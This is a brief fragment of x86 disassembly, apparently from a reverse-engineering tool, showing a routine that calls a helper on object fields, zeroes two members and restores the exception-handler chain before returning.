mov ecx, dword [ebp - 0x10]
add ecx, 0x24
call fcn.0058e0f4
push 0x5e9400
mov ecx, dword [ebp - 0x10]
add ecx, 0x28
call fcn.0058e0f4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x2c], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x30], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret